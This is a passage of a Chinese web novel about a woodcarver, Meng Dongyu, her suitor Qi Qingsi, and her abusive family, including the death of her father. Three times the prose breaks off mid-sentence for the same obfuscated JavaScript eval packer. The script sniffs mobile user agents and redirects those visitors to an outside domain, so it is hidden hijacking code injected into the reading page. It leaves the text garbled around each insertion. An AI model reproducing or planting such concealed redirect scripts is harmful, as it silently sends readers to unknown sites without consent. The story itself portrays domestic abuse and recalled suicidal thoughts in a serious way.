“冬愉学姐还没选择是回答问题,还是喝酒呢?” 郑泽的话把众人的关注点再度拉回游戏上。 大家安静下来,纷纷看向孟冬愉,等着她的答案。 再次成为全场瞩目的焦点,孟冬愉蜷了蜷手指,开始犹豫接下来的选择。 祁清肆将杯中的酒一饮而尽,掀起眼皮看了郑泽一眼:“差不多得了。” 警告意味很明显,要他别再揪着孟冬愉不放。 与祁清肆的声音一同响起的,还有孟冬愉的声音。 她众人的注视下,点头承认:“有。” 两道声音交叠,不知道郑泽是没听清还是没听懂。 他将视线从祁清肆身上挪回孟冬愉身上,确认道:“冬愉学姐,你刚刚说什么?” 孟冬愉清了清嗓子,重复她的答案:“有喜欢的人。” 起哄声再度响起。 众人的目光在孟冬愉和祁清肆身上逡巡。 祁清肆点头笑了声,将面前的空酒杯斟满,仰头灌了下去。 郑泽晃了晃手,再次控场。 他看着孟冬愉,还有点明知故问的意思:“谁啊?” 孟冬愉抿了口饮料,面色淡定地应声:“这是下一个问题了。” 郑泽被她堵得没话说,索性遵守游戏规则,识趣地没再追问。 接下来的几轮,他使尽浑身解数都没能再转到孟冬愉。 事情闹到这里,孟冬愉也没了兴致再继续下去。 她将杯中的饮料一口口喝掉,大脑也在思考找个什么借口,可以提早回房间。 在郑泽抓耳挠腮之际,倒是有人将转盘转向了祁清肆。 刚才的八卦大家都没能尽兴,转动转盘的人一看到转到了祁清肆,就连忙问:“祁老板,选什么?” 祁清肆也没扫大家的兴致,闻言懒懒开口:“真心话。” 转转盘的人想都没想,就问了同样的问题:“有喜欢的人吗?” 祁清肆再次抬眼,勾着唇角喊人:“孟冬愉。” 心跳再次漏了一拍。 孟冬愉本能地抬头看他。 自从他上次袒露过心意后,在她面前就没再遮掩过。 只是她本以为他会坦荡地说有,没想到他竟然当众喊了她的名字。 祁清肆眼底氤着浓郁的笑意,停顿了片刻,下巴点了点桌面上没拆封的酒,又接着补充:“帮我把那瓶酒递过来。” 孟冬愉愣了愣,顺手将面前的那瓶酒递了过去。 祁清肆再次将酒倒满,向转转盘的人抬了下酒杯:“我喝酒。” 就这么在大家的期待下来了个大转弯,惹得在场众人“吁”声一片。 郑泽“啧啧”两声,评价道:“真怂。” 眼看着两个当事人都没了想让大家继续八卦下去意思,郑泽又组织着象征性玩了两局,而后将今天的烧烤派对收了尾。 大家一起将残羹剩饭收拾好,散场后各自回了房间。 今晚吃了太多油腻的食物,又喝了杯冷饮。 为了防止半夜起来胃痛,孟冬愉回客厅前,先去了趟储物间。 她在医药箱里找到了相关的预防药,抬头就看到祁清肆正倚在门口。 知道他是来找她的,但孟冬愉依旧明知故问:“来找什么?” 祁清肆没回答她的问题,整个人侧靠在门框上,语气拖腔带调:“孟冬愉,有喜欢的人啊?” 孟冬愉将药放入口袋,不答反问:“你有喜欢的人吗?” 祁清肆闻言挑眉:“我喜欢谁你不知道?” 孟冬愉一本正经地回答:“我确认一下。” 闻言,祁清肆站直身体,眼睛直勾勾地盯着她,承认道:“喜欢你。” 孟冬愉点头:“哦。” 祁清肆显然对她的反应并不满意:“哦?” 孟冬愉将唇角压下,忍着笑意应声:“怎么了?” 祁清肆似乎反应过来的什么,哼笑一声,迈开脚步慢悠悠地朝她走来。 眼看着他离她越来越近,那张没有任何瑕疵的脸逐渐放大到她的眼前。 孟冬愉不自觉攥紧手指,呼吸也慢了几分。 祁清肆神色里染着些许痞气,扯着唇角垂眼看她:“孟冬愉,钓我呢?” 孟冬愉咽了咽口水,装作不以为意地问道:“有吗?” 祁清肆咬着牙点头:“行,你还挺会。” 孟冬愉抬手点了点他的耳廓,试图转移话题:“耳朵怎么红了?” 祁清肆先是顿了一下,耳朵上的红意更深了些。 他神色不自然地偏头躲开她的手指,片刻后,他又转回头来,赌气般承认:“我害羞,行不行?” 孟冬愉将手放下,再次点头:“哦。” 祁清肆:“又哦?” 孟冬愉无奈地摊了摊手:“那你要我说什么?” 祁清肆又将话题扯回到最初:“喜欢的人是谁啊?” 孟冬愉:“你猜。” 祁清肆也不急,颇有耐心地配合她打哑谜:“是我吗?” 孟冬愉依旧不置可否:“你觉得呢?” 祁清肆勾唇:“我觉得是我。” 他的话音刚落,孟冬愉外套口袋里的手机突兀地响起。 她掏出来看了眼来电显示,神色一凛,本能地滑动挂断。 只是对面像以往很多次一样,坚持不懈地接着打来。 铃声明明是很悠扬的一首轻音乐,可孟冬愉此刻却觉得格外刺耳。 祁清肆的视线也落到她的手机上,似乎想要说些什么,却被孟冬愉给打断。 “不早了,你早点休息。”孟冬愉咬了咬嘴唇,没去看祁清肆的眼睛,晃了晃手机示意道,“我去接个电话。” 话说完,她侧身从他身边经过,逃避似的加快步伐出了满汀洲小院的大门。 十月底,南江的桂花花期已过。 木犀巷的桂花树也从月初的金灿灿,凋零得几乎只剩绿意。 秋夜月色溶溶,残存的桂花香味在空气中隐隐浮动。 孟冬愉吸了吸鼻子,接通了持续不断打来的电话。 手机刚贴近耳朵,她的母亲施荣就迫切地问道:“楠楠,你现在还有钱吗?” “我不是月中刚给你们打过钱吗?”孟冬愉闻言蹙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14403662|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了蹙眉,而后又冷冷地质问,“孟建华又去赌了?” 施荣语气带着点慌张和无措:“不是,你爸爸现在正在医院抢救,急需用钱。” 孟冬愉眉头皱得更深了些:“抢救?” “有人捅了你爸爸几刀。”施荣带着点哭腔解释,“医生说情况不太好,有生命危险。” 心底的烦躁涌起,孟冬愉深吸了口气,耐着性子去问:“到底什么情况?他欠人钱没还?” 施荣这次犹豫了片刻,才缓缓开口:“有人说看到你爸爸猥亵了一小姑娘,那小姑娘的爸爸听说了之后,一怒之下就捅了你爸爸。” 烦躁夹杂着怒意涌到头顶,孟冬愉胸口剧烈起伏,身子抑制不住地发抖。 她气极反笑:“他这是犯罪,做了这种事,你还想着救他?” 施荣闻言怯怯出声:“楠楠,我们现在已经在医院了。” 拳头嵌入掌心,手上的疼痛让她冷静稍许。 孟冬愉咬着牙一字一句道:“我没钱,他这种人渣死了也活该。” “孟楠,他是你亲爸。”施荣仿佛一下子来了火,话里话间都带着失望,“他生你养你,你怎么能说出这样的话?” 孟冬愉扯了扯唇角,苦涩哽在喉咙:“如果可以选择,我宁愿我一出生你们就掐死我。” 施荣明显愣了一下,而后语气放缓了些:“你爸爸脾气不好,下手没轻没重,确实让你吃了不少苦。” “但是楠楠,你就当为了妈妈,再忍一忍好吗?” 又是忍一忍。 这句话像是一个巨大的沼泽,她无论怎么挣扎,最后只能眼睁睁眼看着自己越陷越深。 无力感席卷全身,喉间的苦涩变成酸意涌入眼眶。 孟冬愉蹲下身去,牙齿死死地咬住手指。 凭什么啊? 为什么总是要让她忍着? 手上的痛意并没能阻止泪腺的快速分泌。 浅棕色外套的衣袖被一点一点打湿,留下深棕色的斑驳痕迹。 冷风吹得人脸颊刺痛,也吹得人清醒。 脑海中蓦地浮现出祁清肆曾经说过的一句话。 他说:“这个世界上有很多人和那位老太太有着一样的经历,她们或许比她年轻、比她有能力,但都没她勇敢。” 孟冬愉当初听到这些话会本能地联想到施荣,她觉得是施荣不够勇敢。 可是她此刻却突然反应过来。 是她自己不敢舍弃一切,不敢狠狠心将让她感到痛苦的关系割断。 孟冬愉抬手把眼泪抹干:“妈,我再说最后一次,没有孟建华,你能过得更好。” 施荣依旧执迷不悟:“他是我丈夫,不救他,我会被人戳着脊梁骨骂的。” 孟冬愉一次又一次深呼吸,忍着怒意提醒她:“他做的这些事,你救他,才会被人戳着脊梁骨骂。” 施荣执着地想要去解释:“这肯定是误会,你爸爸我了解,他绝对不会做侵犯人小姑娘这种事情。” “我没钱,你想救他自己想办法。”孟冬愉闭了闭眼,没再坚持,抛下一句话就挂断了电话。 入夜温度缓慢下降,孟冬愉拢了拢外套,进了满汀洲的大门。 她低着头,心不在焉地踩着小路上的鹅卵石,转弯时,头猛地撞上一个坚硬的胸膛。 熟悉又清幽的檀木香扑面而来,耳畔是他剧烈的心跳声。 孟冬愉没来得及抬头,就听到祁清肆带着笑意的声音从头顶传来,明晃晃地询问:“孟冬愉,谈恋爱吗?” 46. 纠结 烧烤结束后,大家纷纷上了楼。 楼上的各个房间灯火通明,但楼下小院里只剩寂静。 耳畔的心跳声急促且有力,孟冬愉的心脏也不自觉跟着加速跳动。 祁清肆抬手扣住她的手腕,浸着笑意的声音响起,带着直白又志在必得的笃定。 谈恋爱吗? 没接到施荣那通电话之前,孟冬愉都快忘了自己是个什么样的人。 也忘了上一段被背叛的感情经历,在刚开始时,也是这样让她觉得温暖和感动。 人总是记不住疼痛。 她竟然又开始妄想被爱,开始妄想会有人永远地、无条件地对她好。 到此为止吧。 她和他本来就不是一个世界的人。 不能再沉溺下去了。 方才在大门外,她眼睛被风吹得酸痛。 小院里无风,可是眼睛的酸胀感也没能缓和。 孟冬愉垂头与他拉开距离,又用扯了扯手腕,挣脱开来。 她没去看他,只是冷冷地提醒:“你越界了。” 祁清肆并没听懂她拒绝的意思,可能是以为她不喜欢肢体接触,他语调染上一丝委屈:“孟冬愉,明明是你自己撞到我怀里的。” 孟冬愉盯着漆黑一片的地面,缓缓开口:“我没有谈恋爱的想法。” “还有,我也不喜欢年下。” 祁清肆闻言神色一僵,确认般问道:“喜欢的人不是我吗?” 孟冬愉攥紧手指,想要说“不是”,可是话到嘴边,却怎么也说不出口。 祁清肆见状笑了声,朝她走进一步,伸手去捞她的手腕,而后将拇指的指腹精准地压在她的脉搏上。 脉搏无声振动,他语气带着点顽劣,故意拖着腔调:“不喜欢我,那心跳怎么这么快啊?姐姐。” 这是认识这么久以来,祁清肆第一次这么称呼她。 他将这两个字咬得很重,又将尾音拖长,听得人心尖发颤。 孟冬愉想要挣脱开他的手,却被他抓得更紧了些。 “我主动咬钩,就等着你收线了。”他手指摩挲着她手腕上的软骨,带着几分诱哄意味,“和我试试看,好不好?” 孟冬愉抿了抿唇角,视线落在两人的脚尖:“祁清肆,我们不合适。” 祁清肆并没把她的拒绝放在心上,颇有种纠缠到底的意思:“都没谈呢,怎么就知道不合适?” 孟冬愉疲惫地闭了闭眼睛,话音轻颤:“我不值得你……” 似乎察觉到了她的不对劲,孟冬愉的话没说完,就被祁清肆给打断。 他将散漫的态度收起,口吻带着点不容拒绝:“孟冬愉,抬头看我。” 眼眶涨得发酸,孟冬愉没应声,依旧执拗地低着头。 祁清肆径直问道:“哭了是不是?” 孟冬愉摇头否认:“没有。” 祁清肆坚持:“没有就抬头。” 她不想把自己的那些难堪和脆弱,一次次暴露在他面前。 孟冬愉再次试图去挣脱他的手:“我困了。” 祁清肆握着她手腕的胳膊忽地用力,将她往自己身边拉了一下。 身体的惯性促使孟冬愉本能地仰头。 鹅卵石小道的转角处有一根石柱,恰到好处地遮挡了院内的灯光。 周遭昏暗,她又一直低着头,祁清肆就以为她只是因为不好意思才不敢看他。 直到听到她说自己不值得。 他才突然反应过来,那通电话才是导致她态度突然转变的真正原因。 此刻借着昏暗的灯光对上她那双红肿的眼睛,他的心脏不自觉跟着刺痛。 祁清肆叹了口气,抬手轻轻剐蹭着她的眼尾,神态真挚而诚恳:“孟冬愉,我喜欢的是你这个人,喜欢的是你的坚毅、果敢和顽强。我不在乎你的成就、你的过往和你的……背景。” 他的目光炙热而滚烫,像是一团熊熊燃烧的火焰,一点点将她融化。 可是…… 可是人心都是会变的,她也不信世界上会有永久的爱。 更何况比她优秀、性格又比她好的女孩子有那么多,他为什么会坚定不移地选择她? 就算他此刻真的喜欢她,以后又会长久地喜欢下去吗? 孟冬愉侧头躲开他的手,深吸一口气将理智唤回。 她酝酿了片刻,一字一句道:“祁清肆,我没你想得那么好,我们在一起不会有什么好结果的。” “所以,无论对你还是对我,及时止损才是最好的选择。” “你以后也会遇到更喜欢的人,没必要在这里和我纠缠下去。” 祁清肆没应声,垂眼看着她,沉默了许久,突然换了话题:“喜欢桂花吗?” 孟冬愉愣了一下,而后本能地点头。 祁清肆接着问:“明明很快就凋谢的东西,为什么会喜欢它?” 孟冬愉闻言再次怔住,不知道他为什么会忽然讨论这个。 这个问题她也确实没有思考过。 为什么喜欢? 因为花香使人心情愉悦,花朵还能用来做各种美食。 除了桂花以外,她还喜欢很多花。 她喜欢它们的花香,喜欢它们的鲜活,喜欢它们的美丽。 孟冬愉张了张口,没去解释这些,而是等着他接下来的话。 “你不会因为担心花会枯萎,就拒绝种花或买花。”祁清肆像是猜透了她心中所想,盯着她的眼睛问道,“那么,为什么会因为害怕结束,就避免一切开始呢?” 你不能因为担心花会枯萎,就拒绝种花或买花。 同理,也不能因为害怕结束,就避免一切开始。 他总是能看透她矛盾和纠结的根源,然后适时地、又一针见血地将带着答案的问题抛给她。 他的道理很有说服力,但孟冬愉还是下意识地想去反驳:“这不一样。” 祁清肆好整以暇地等着她的答案:“哪里不一样?” “我——” 孟冬愉有些挫败地垂头咬了下嘴唇,发现自己根本无力辩驳。 她就是因为害怕会结束,害怕他会看到她的那些不堪,害怕他会变心,所以拒绝了和他的开始。 祁清肆双手扶着她的肩膀,俯身和她对视:“孟冬愉,勇敢一点,向我迈出这一步。” “也给我一次机会,让我用行动去证明,我们会有好结果。” 他的视线好似带着灼人的温度,烫得她眼眶泛酸。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14419703|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 真诚的人需要给予真诚的回应,孟冬愉嗫嚅了片刻,依旧没办法给他一个准确的答案。 她再次避开他的视线,轻轻吸了吸鼻子:“再给我点时间。” 祁清肆闻言温声点头:“好,我等。” - 烧烤派对结束的第二天,和幻宙的IP联名活动正式开启。 孟冬愉再次一股脑地投入工作中,将感情亲情这些事情全部抛之脑后。 春日遐想团队根据策划案,在活动当天更新了非遗木雕的专属小游戏,将木雕的雕刻工艺与小游戏完美结合,寓教于乐,获得不少玩家好评。 与此同时,幻宙的官方旗舰店上架了第一批游戏人物的木雕周边。 木雕将游戏人物由2D转变成三维,再加上雕刻得活灵活现,又有幻宙的限购机制和提前预热加持,第一批木雕上线不足半小时就被一抢而空。 不到一天的时间,这批木雕在二手市场上价格翻了一番。 没有抢到的游戏玩家,要求幻宙开启预售的呼声越来越高。 孟冬愉这边时刻关注着活动的动向,经过和幻宙那边商讨后,决定先开启第二批预售。 第一批木雕她们耗时将近一个月才雕完,开启预售的第一天,第二批预订的数量已经是第一批数量的十倍还不止。 这么庞大的订单数量,单靠祁振强这一家木雕店,是很难完成的。 经过和幻宙的再次沟通,孟冬愉和温承卿发了消息。 早在活动开始的前几天,为了防止供不应求这一局面的产生,孟冬愉就联系了温承卿,由他帮忙再次联系南江各家的木雕店,说明原因,让有意向的店家时刻准备着,以备不时之需。 孟冬愉的名头在南江木雕手工业者中早已打响,众人听闻是孟冬愉的请求,更何况这种分一杯羹的事情大家都求之不得。 于是众人纷纷表示一定严阵以待,等着她的号召。 孟冬愉将设计图纸和注意事项发给温承卿,让大家紧急开工。 和幻宙的合作由祁振强的单家店转变成整个南江的木雕店。 幻宙也借此去蹭了一波南江木雕的热度,进行后续宣发。 自从上次合作之后,南江文旅的运营小姐姐就加了孟冬愉的微信。 她听闻了这件事情之后,委屈巴巴地给孟冬愉发了消息。 【姐姐,是我们南江文旅站得还不够高嘛?为什么这种联名的事情我上网了才知道。】 消息发完,南江文旅的官号就跑去网上,各种凑热闹。 他们调戏幻宙的官号不说,还大肆转发幻宙的游戏视频,活脱脱将一个官方号玩成了个人号。 一个高冷一个跳脱,吃瓜网友们纷纷磕起了两家官号的CP。 南江的旅游业和木雕业以及幻宙的各种游戏,再度迎来一波热度高峰。 这两天,孟冬愉不停地收到施荣的电话,她实在忙,也不想去管孟建华的事情,最后索性直接将施荣的电话号码给拉黑了。 活动开启的第三天,一切都变得有条不紊。 孟冬愉在这天傍晚,收到了从来没有给她回过信息的、小姨的短信。 【孟建华死了,你妈伤心过度在医院躺着,回来一趟。】 47. 回家 看清楚屏幕上的一行字,孟冬愉手一抖,手机怦然落地。 突然的动静引得正在雕刻的师弟师妹们全部回头,异口同声问道:“师姐,怎么了?” 孟冬愉弯腰将手机捡起,点开又关闭聊天框,确认了好几次。 是小姨发来的。 孟建华死了…… 孟冬愉张了张口,心底好像有一道声音,一直在替她重复这五个字。 大脑嗡嗡作响,各种机能仿佛瘫痪了一般,不知道该怎么处理这个突如其来的讯息。 师弟师妹们还在关切地等着她的回答,孟冬愉强撑着摇了摇头:“没事。” 孟冬愉回到工作台前坐下,而后又忽地起身,边脱围裙边扬声交代:“你们帮我和师父讲一声,我有些事情,要离开南江一段时间。” 话说完,她拎着外套,径直出了木雕店的大门。 一路小跑回到满汀洲,孟冬愉快速收拾好行李,而后订了最近一趟去临城的航班。 机场候机厅。 孟冬愉给温承卿和幻宙的负责人分别发了消息,又拉了群。 虽然联名活动已经步入正轨,不需要孟冬愉再去推动什么。 但是为了预防突发事件,她还是向双方都解释了一下,让温承卿帮忙将南江的情况及时与幻宙对接。 温承卿爽快应下,又来私聊她:【发生什么事了?怎么突然要离开南江?】 孟冬愉犹豫了片刻,回他:【没什么,去处理一点私事。】 【这次活动麻烦你了。】 温承卿也没再多问,只是回她:【客气。】 【你安师伯天天念叨着,要我好好感谢你。】 机场的广播响起,通知旅客登机。 孟冬愉起身,背起背包,快速结束话题:【广播响了,我先登机了。】 温承卿的消息也很快发来:【一路平安。有什么需要帮忙的随时和我讲。】 飞机在晚上十点准时落地临城。 孟冬愉给小姨打了个电话,而后打了车去了施荣所在的医院。 孟冬愉到达病房楼下的时候,小姨施胜男倚在门口的柱子上抽烟。 时隔好几年没见,孟冬愉还是一眼认出了她。 印象中的脏辫剪了,现在顶着一头火红的波浪卷,烈焰红唇,美甲也是红得滴血的颜色。 病房楼门口人来来往往,她倚在石柱上,指尖夹着烟,旁若无人地吞云吐雾。 孟冬愉拖着行李,过去喊她:“小姨。” 施胜男上下打量了她一眼,烟气从鼻腔中呼出,略带嫌弃:“有钱了多捯饬捯饬自己。” “年纪轻轻穿得一把年纪。” 孟冬愉随着她的视线低头看。 她身上这件大衣确实是几年前买的,但是版型和款式都是基础款,放在现在并不算过时。 孟冬愉也没打算辩解,只是点头应下,而后又问道:“我妈她……怎么样了?” 施胜男闻言斜眼看她,红唇轻启:“拉黑她电话的时候,我还以为你真有种,她死了你都不会再回来呢?” 没听出她究竟是阴阳怪气还是在责问她,孟冬愉抿了抿唇角:“我……” “行了,用不着和我解释,当初我妈死的时候,我也没回。”施胜男抽完最后一口烟,把烟头摁灭,抬起胳膊精准地投入垃圾桶,而后转身进了病房楼大门。 孟冬愉跟在她身后,进了电梯,沉默了片刻,再次问道:“您什么时候从北城回来的?” “今天下午。”施胜男闻言应声,像是知道孟冬愉想问什么一样,也没再卖关子,“医院的电话打到这我儿来了,说通讯录打了一遍,联系不上施荣的家属。” 施荣和孟建华都是临城人,平日里亲朋好友也有不少。 他们无论谁出事,不至于身边连个知道的人都没有。 施荣晕倒,竟然还要靠医院通知,让远在北城的施胜男,赶了回来。 孟冬愉皱了皱眉:“舅舅和我大伯不是都在临城吗?” “他们?天下男人不都一个样?”施胜男唇角向一侧挑起,不屑地嗤笑,“有好事的时候屁颠屁颠来得比谁都快,遇到麻烦了一个个都装不认识。” “特别是你那个舅舅,你看着他像个老好人……” 19楼到了。 电梯的提示音将施胜男想要说的话打断。 电梯门打开,孟冬愉攥紧手指,跟着施胜男一路走进病房。 施荣在病床上坐着,红肿着眼睛,本就浑浊的眼白布满了红血丝。 她见到孟冬愉,又开始哭:“楠楠,你爸爸他……丢下我一个人……走了。” 回来的这一路,孟冬愉只有一个念头,她和施荣终于要解脱了。 她只打算尽完作为子女的最后一点责任,将孟建华的后事处理好,然后带着施荣开启新生活。 可是再次见到施荣,见到她还在因为孟建华死了而哭哭啼啼,孟冬愉心底的烦躁再度袭来。 她冷冷地开口:“孟建华嗜赌成性不说,如今年过半百,还做出猥亵小姑娘这样恶心的事,这种人渣,不该死吗?” “这件事情警察还在调查。”施荣摇头,语气笃定,“楠楠,我了解你爸爸的为人,他不会做这种事情的。” 孟冬愉闭上眼睛深吸了口气,发自内心不解地问道:“妈,孟建华这些年打你骂你,从来没把你当过有尊严的人看,你究竟爱他什么?” 施荣闻言愣了一下,嗫嚅了半天,最后应声:“他是我丈夫。” 孟冬愉有些好笑地看着她:“丈夫就可以随便对自己的妻子拳打脚踢?” “你爸爸只是脾气不好。”施荣依旧试图替孟建华辩驳,似乎又想到了什么,神色带着内疚,“也怪我没能力再给他生个儿子。” 孟冬愉攥紧拳头,眼眶瞪得酸疼。 脑海中再次浮现出,她小时候施荣曾经对她说的那句话。 那时候她应该才七八岁,如今已经记不得是什么原因被孟建华打了一顿。 施荣当时因为护着她,也被孟建华踢了好几脚。 那晚孟冬愉在半梦半醒间,听到施荣坐在她的床边,轻抚着她的头发,喃喃道:“要不是你,我也不会过得这么苦。” 从那天起,孟冬愉才意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14440494|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识到,这个事事护着她的母亲,其实心底里也像她父亲一样。 觉得她是个累赘,希望她是个男孩。 可是后面那些经常被拳打脚踢的、痛苦难熬的日子,施荣依旧次次将她护在身下。 后来很多时候,孟冬愉都无比希望,施荣能像孟建华那样,直白地去嫌恶她。 这样她就可以狠狠心,与这个家割断关系。 而不是像如今这样,让她一次次沉溺在施荣的温柔刀中,狠不下心来对她不管不顾。 “冥顽不灵。”施胜男显然也听不下去施荣的话,她轻蔑地笑了一声,而后拎着包起身,“你们聊,我明天再来。” 出门前,施胜男又想起了什么似的,撩了撩头发,回头看向施荣:“提醒一下,再把你姑娘气走了,我可不会再帮你喊人回来。” 目送施胜男出了门,施荣擦了擦眼泪,语气带着点小心翼翼:“楠楠,这次回来还走吗?” 孟冬愉将攥紧的拳头松了松,耐着性子纠正道:“妈,说了无数次,我叫孟冬愉。” “从小喊到大的名字,怎么能说改口就改口?”施荣依旧不怎么放在心上,回忆起往事,脸上都洋溢着幸福,“孟楠这个名字,还是你没出生时,你爸爸翻了一夜字典给取的呢。” “当时我们都以为你是……” 施荣似乎意识到说错了话,她看了孟冬愉一眼,话没说完就闭了嘴。 孟冬愉扯起唇角自嘲般笑了下,将她的话给续上:“当时你们都以为我是个男孩,是吗?” 孟楠。 梦男。 她没出生前,他们就希望她是个儿子。 孟冬愉忽地又想起小升初的开学第一天,班主任组织全班同学上台自我介绍。 很多漂亮的女孩子扎着精心编织的头发,穿着崭新又干净的校服,介绍自己叫“明珠”、叫“宝珠”、叫“如意”…… 轮到孟冬愉上台时,她留着男孩子般的短发,夏季的短袖校服暴露出胳膊上的一块块青紫。 她说她叫孟楠。 她还想说因为爸爸妈妈希望她像楠木一样,平安健康,坚韧不拔。 可是这个她打了很多次腹稿的谎言,在上台后,在众人异样的目光中,她没能说出口。 大家年岁不大,初入青春期,正是爱美的时候。 孟冬愉的话音刚落,就引来下面一片窃窃私语—— “听着好像男生的名字啊。” “她的胳膊和腿上怎么了?是得病了吗?” “她又丑又脏,像个假小子,我才不要和她玩。” …… 孟冬愉闭了闭眼,再次将手指攥紧,笑着看向施荣,一字一句道:“妈,你知道吗?” “每次听你喊我孟楠或者楠楠,就像小姨听你喊她招娣一样,我们都觉得你恶心。” “还有,你在我面前说什么‘你爸爸’,我听了也觉得恶心。” 施荣似乎没料到孟冬愉会这样和她讲话,好似一下子也来了火气。 她抬手指了孟冬愉半晌,才从口中蹦出一句话:“你爸说得一点没错,你就是个白眼狼。” 48. 查清 看吧。 人总是在被逼急的时候,才会说出真心话。 她亲爱的母亲,一个总是在孟建华面前为她辩解的人。 其实在潜意识里,有着和孟建华有着同样的想法。 眼眶酸得要命,孟冬愉强撑着面上的笑意,缓缓开口:“这几年来,我无数次想过,不管你们的死活。” “可是每次听着电话里孟建华对你的拳打脚踢,我总是一次次心软。” 孟冬愉盯着施荣一点点放下去的胳膊,语气真挚又凉薄:“妈,你教教我,怎么样才能做一个心狠的白眼狼?” 施荣面色一点点变得难看,最后索性破罐子破摔:“我们生你养你,你有能力了回来报答我们,这不是理所应当?” “生我养我?”孟冬愉好笑地扯了扯唇角,“每天吃不饱穿不暖,还要被打得鼻青脸肿,你又凭什么指望,我会对你们心怀感恩?” 施荣显然更气了,似乎想起了什么,语调里还带着点不甘:“谁不是这么过来的?我小时候过得比你还差,我可从没抱怨过你外公外婆。” 孟冬愉直视着施荣的眼睛,语气缓慢地接连问道:“所以,你就要你的子女,将你的痛苦延续下去,是吗?” “你就要把你承受的那些苦难,理所应当地继承给我,是吗?” 施荣闻言怔了怔,面上有些心虚:“无论怎么说,没有我和你爸爸,哪有你这条命?” 孟冬愉将视线收回,垂头自嘲地笑了笑。 她沉默许久,才再次出声。 “可是你们从来没问过我,到底愿不愿意出生,愿不愿意做你们的孩子,愿不愿意……”孟冬愉喉咙哽了一下,“活下去。” 施荣闻言猛地抬头看向她。 孟冬愉对上施荣的目光,依旧笑着:“还记得小姨带我去改名字的那天吗?” “那天,我本来打算,去死的。” 看着施荣眼中的神色,由惊讶转变成震惊,再转变成不敢置信。 孟冬愉自己也没想过有这么一天,会将这些话说给他人听。 “很惊讶吗?”孟冬愉平静地看着她,“不应该吧?” “孟建华每次往死里打你和我的时候,你难道就没有像我一样,想着要是被他打死了,就解脱了?” 施荣还没消肿的眼睛再次红了起来,她喃喃道:“楠楠……” 孟冬愉闭了闭眼:“妈,醒醒吧。” “这些年你和我所经历的苦难,都是孟建华一手造成的。” “没了他,一切都会变得更好。” 施荣表情有一瞬间的松动,而后又迫切地摇了摇头,试图去打破她这个观点:“不是的楠楠。” “没了你爸爸,家里没个男人,你一个姑娘家,我一个寡妇,我们以后的生活会很难。” 孟冬愉深吸了一口气:“你为什么总是这么执迷不悟呢?” “孟建华吃喝嫖赌占了多半,他究竟为我们这个家做了什么贡献?才会让你觉得没了他,我们都活不了?” 施荣低头拢了拢鬓角发白的头发,神色迷茫:“我没读过几年书,我不懂你说的那些大道理。” “我打小,你外婆就告诉我,女人的作用就是要在家相夫教子。” “可是现在我丈夫死了,孩子也长大了,我活着还有什么意义呢?” 一个在父权制家庭长大的女人,历经重重的打压,思想上早已畸形和固化。 孟冬愉叹了口气,在她身边坐下,看着她的眼睛,温声道:“妈,我们不是谁的附属品,我们存在的意义也并不只是柴米油盐和相夫教子。” “天地广阔,我们要为自己而活。” 施荣闻言垂下头去,嘴里不断重复:“为自己而活……” 许久之后,施荣再次抬头:“你……他现在还在殡仪馆,明天和我一起去看看他吧。” - 孟冬愉在医院待了一夜,第二天在医生的建议下,替施荣办理了出院。 回家之前,她跟着施荣一起去了趟殡仪馆。 由于猥亵案还没查清,警方那边还要留着尸体,不让火化。 这个她恨了二十多年的男人,如今静静地躺在她面前。 没了往日狰狞的面孔,也再也不会对她说那些刺耳的脏话。 孟冬愉忽然间觉得心底五味杂陈。 好像常年紧绷的弦突然间松掉了一样,该是轻松地呼出一口气的时候,却并没想象中开心。 里面并不让家属逗留太久,孟冬愉和施荣只待了一会儿,就被工作人员提醒尽快离开。 两人一路沉默地回到家中。 自从孟冬愉工作后,孟建华就戒了赌,加上这些年从她这里薅来的钱,将原本破落的房子重新修整了一遍。 推开门从玄关望过去,看着还算温馨。 这两年春节,孟冬愉工作忙为由,一直没回来过。 她径直打开最小的次卧,看着堆满杂物的房间,忽地笑了。 施荣连忙解释:“不知道你回来,没来得及收拾。” 见孟冬愉要去开另一间次卧的门,施荣再次开口:“这个房间你堂弟偶尔来住,出门都会上锁,不让任何人进。” “要不委屈你一下,今晚先和我睡吧?” 孟冬愉握在门把手上的手松开,推着行李箱转身:“不用了,我住酒店。” 施荣下意识应声:“住酒店多浪费钱。” 孟冬愉回头看她,张了张口,最终却什么都没说。 从小到大,她的房间总是堆着各种各样的杂物。 大学出去读书了之后,偶尔寒暑假回来,房间都会像现在这样,根本没地方下脚。 她每次都要独自收拾一整天,才能有一个睡觉的地方。 而她的堂弟,她大伯家的儿子,明明只是偶尔来住,却能拥有一整个房间。 